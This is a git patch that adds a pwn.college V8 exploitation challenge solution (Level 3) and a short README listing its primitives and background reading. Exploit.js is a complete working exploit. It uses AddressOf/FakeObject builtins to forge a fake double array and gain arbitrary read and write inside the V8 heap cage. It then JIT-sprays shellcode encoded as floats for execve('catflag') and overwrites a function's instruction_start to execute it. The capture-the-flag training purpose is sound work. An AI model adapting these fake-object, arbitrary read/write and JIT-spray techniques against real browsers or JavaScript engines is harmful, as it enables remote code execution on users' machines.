From a7324fc9d3c7a77a93330609b5b75c769de250af Mon Sep 17 00:00:00 2001 From: Jack Ren Date: Sun, 8 Sep 2024 13:03:33 +0800 Subject: [PATCH] Level 3 of PwnCollegeV8Exploitation --- .../Level3/Exploit.js | 105 ++++++++++++++++++ .../PwnCollegeV8Exploitation/Level3/README.md | 15 +++ 2 files changed, 120 insertions(+) create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level3/Exploit.js create mode 100644 JavaScript/PwnCollegeV8Exploitation/Level3/README.md diff --git a/JavaScript/PwnCollegeV8Exploitation/Level3/Exploit.js b/JavaScript/PwnCollegeV8Exploitation/Level3/Exploit.js new file mode 100644 index 0000000..f9c9337 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level3/Exploit.js @@ -0,0 +1,105 @@ +// Integrated Builtin: +// - int32 GetAddressOf(HeapObject obj); +// - HeapObject GetFakeObject(int32 addr); + +let ab = new ArrayBuffer(8); +let f64a = new Float64Array(ab, 0, 1); +let i32a = new Uint32Array(ab, 0, 2); +let si32a = new Int32Array(ab, 0, 2); +let bi64a = new BigUint64Array(ab, 0, 1); + +function c2f(low, high) { // combined (two 4 bytes) word to float + i32a[0] = low; + i32a[1] = high; + return f64a[0]; +} + +function b2f(v) { // bigint to float + bi64a[0] = v; + return f64a[0]; +} + +function f2b(v) { // float to bigint + f64a[0] = v; + return bi64a[0]; +} + +function unptr(v) { + return v & 0xfffffffe; +} + +function ptr(v) { + return v | 1; +} + +function shellcode() { // Promote to ensure not GC during training + // JIT spray machine code form of `execve("catflag", NULL, NULL)` + return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61]; +} +for (let i = 0; i < 100000; i++) shellcode(); // Trigger MAGLEV compilation + +// Create a PACKED_DOUBLE_ELEMENTS array contains faked PACKED_DOUBLE_ELEMENTS array +// map, properties, elements, length --- first three field are static roots +var arr = [c2f(0x001cb8a5, 0x00000725), c2f(0x00000725, 0x00008000)]; +// %SystemBreak(); +var arr_addr = GetAddressOf(arr); +console.log("Address of arr: " + arr_addr.toString(16)); +var fakearr = GetFakeObject(arr_addr + 0x54); // Heap Fengshui +// %DebugPrint(fakearr); +// %SystemBreak(); + + +// QWORD Aligned +function ArbRead64(cage_addr) { // int32 + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000); + let result = f2b(fakearr[0]); + console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +// QWORD Aligned +function ArbWrite64(cage_addr, value) { // int32, bigint + if (cage_addr & 0x7) throw new Error("Must QWORD Aligned"); + arr[1] = c2f(ptr(cage_addr - 0x8), 0x00008000); + let written = b2f(value); + fakearr[0] = written; + console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${written.toString(16)}`); +} + +// ArbRead64(0xfffffff0); +// ArbWrite64(0x1230, 0x1234n); + +// DWORD Aligned +function ArbRead32(cage_addr) { // int32 -> int32 + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + bi64a[0] = ArbRead64(cage_addr & 0xfffffff8); + let result = si32a[(cage_addr & 0x4) >> 2]; + console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`); + return result; +} + +function ArbWrite32(cage_addr, value) { // int32, int32 -> void + if (cage_addr & 0x3) throw new Error("Must DWORD Aligned"); + let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8; + bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr); + si32a[(cage_addr & 0x4) >> 2] = value; + ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]); + console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`); +} + +// %DebugPrint(arr); +// %SystemBreak(); + +let shellcode_addr = GetAddressOf(shellcode); +console.log("Address of shellcode: " + shellcode_addr.toString(16)); +// %DebugPrint(shellcode); +let code_addr = unptr(ArbRead32(shellcode_addr + 0xC)); +console.log("Address of code: " + code_addr.toString(16)); +let instruction_start_addr = code_addr + 0x14; +let instruction_start = ArbRead32(instruction_start_addr); +console.log("instruction_start: " + instruction_start.toString(16)); +ArbWrite32(instruction_start_addr, instruction_start + 0x6B); +shellcode(); + +// Due to heap fengshui, the possibility of getting flag by running exploit once is 1/10 \ No newline at end of file diff --git a/JavaScript/PwnCollegeV8Exploitation/Level3/README.md b/JavaScript/PwnCollegeV8Exploitation/Level3/README.md new file mode 100644 index 0000000..24650a9 --- /dev/null +++ b/JavaScript/PwnCollegeV8Exploitation/Level3/README.md @@ -0,0 +1,15 @@ +# Level 3 + +## Problem + +Given the following primitves: +- AddressOf +- FakeObject + +## Key Knowledge + +- [Fast properties in V8](https://v8.dev/blog/fast-properties) +- [Static Roots: Objects with Compile-Time Constant Addresses](https://v8.dev/blog/static-roots) +- Use AddressOf & FakeObject to Construct Arbitrary Address Read & Write + - [Exploiting v8: *CTF 2019 oob-v8](https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/) +- Know V8 Heap Fengshui by using native syntax